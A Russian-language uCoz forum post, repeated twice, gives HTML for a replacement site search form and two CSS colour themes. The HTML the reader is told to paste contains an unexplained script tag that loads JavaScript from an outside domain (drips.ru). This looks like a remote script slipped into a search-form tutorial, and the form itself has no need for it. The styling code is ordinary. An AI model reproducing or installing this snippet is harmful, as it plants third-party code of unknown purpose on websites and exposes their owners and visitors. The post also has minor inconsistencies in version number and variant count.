Два цветовых вариантов формы поиска (DMsearch v.1.0)

СообщениеВ этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1

Шаг 1 установка кода:

Для начало, нам следует удалить старый код формы поиска uCoz

[code]$SEARCH_FORM$[/code]

и за место него установить следующий html код:

HTML-Code

[code]<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>[/code]

теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта.

Вариант № 1 White (Белый):

Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png

[code]/* Форма поиска
------------------------------------------*/
.poick_os {
float:right;
}

.poick_os input {
vertical-align:middle;
}

.poick_pole {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#555; text-shadow: 1px 1px 1px #fff;
height:16px;
margin:0;
padding:4px;
background:#f6f6f6;
border: 1px solid #d6d6d6;
border-right: none;
}

.poick_pole:focus {
background:#fff;
}

.poick_knopka {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#555; text-shadow: 1px 1px 1px #fff;
height:26px;
margin:0;
padding:0 7px;
background:#e9e9e9;
border:1px solid #d6d6d6;
}

.poick_knopka:hover{
background:#d6d6d6;
}[/code]

Вариант № 2 Black (Чёрный):

Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png

[code]/* Форма поиска
------------------------------------------*/
.poick_os {
float:right;
}

.poick_os input {
vertical-align:middle;
}

.poick_pole {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
height:16px;
margin:0;
padding:4px;
background:#484848;
border: 1px solid #252525;
border-right: none;
}

.poick_pole:focus {
background:#545454;
}

.poick_knopka {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
height:26px;
margin:0;
padding:0 7px;
background:#545454;
border:1px solid #252525;
}

.poick_knopka:hover {
background:#252525;
}[/code]

на этом всё, удачных вам поисков на вашем сайте...

Автор - 40Glocc
Дата добавления - 21.02.2012 в 22:35c

40Glocc

Дата: Вторник, 21.02.2012, 22:35 | Сообщение # 1

Пользователи

Сообщений: 17

Репутация: 1

Замечания: 0%

В этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1

Шаг 1 установка кода:

Для начало, нам следует удалить старый код формы поиска uCoz

[code]$SEARCH_FORM$[/code]

и за место него установить следующий html код:

HTML-Code

[code]<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>[/code]

теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта.

Вариант № 1 White (Белый):

Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png

[code]/* Форма поиска
------------------------------------------*/
.poick_os {
float:right;
}

.poick_os input {
vertical-align:middle;
}

.poick_pole {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#555; text-shadow: 1px 1px 1px #fff;
height:16px;
margin:0;
padding:4px;
background:#f6f6f6;
border: 1px solid #d6d6d6;
border-right: none;
}

.poick_pole:focus {
background:#fff;
}

.poick_knopka {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#555; text-shadow: 1px 1px 1px #fff;
height:26px;
margin:0;
padding:0 7px;
background:#e9e9e9;
border:1px solid #d6d6d6;
}

.poick_knopka:hover{
background:#d6d6d6;
}[/code]

Вариант № 2 Black (Чёрный):

Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png

[code]/* Форма поиска
------------------------------------------*/
.poick_os {
float:right;
}

.poick_os input {
vertical-align:middle;
}

.poick_pole {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
height:16px;
margin:0;
padding:4px;
background:#484848;
border: 1px solid #252525;
border-right: none;
}

.poick_pole:focus {
background:#545454;
}

.poick_knopka {
font:11px Verdana,Arial,Helvetica,sans-serif;
color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
height:26px;
margin:0;
padding:0 7px;
background:#545454;
border:1px solid #252525;
}

.poick_knopka:hover {
background:#252525;
}[/code]

на этом всё, удачных вам поисков на вашем сайте...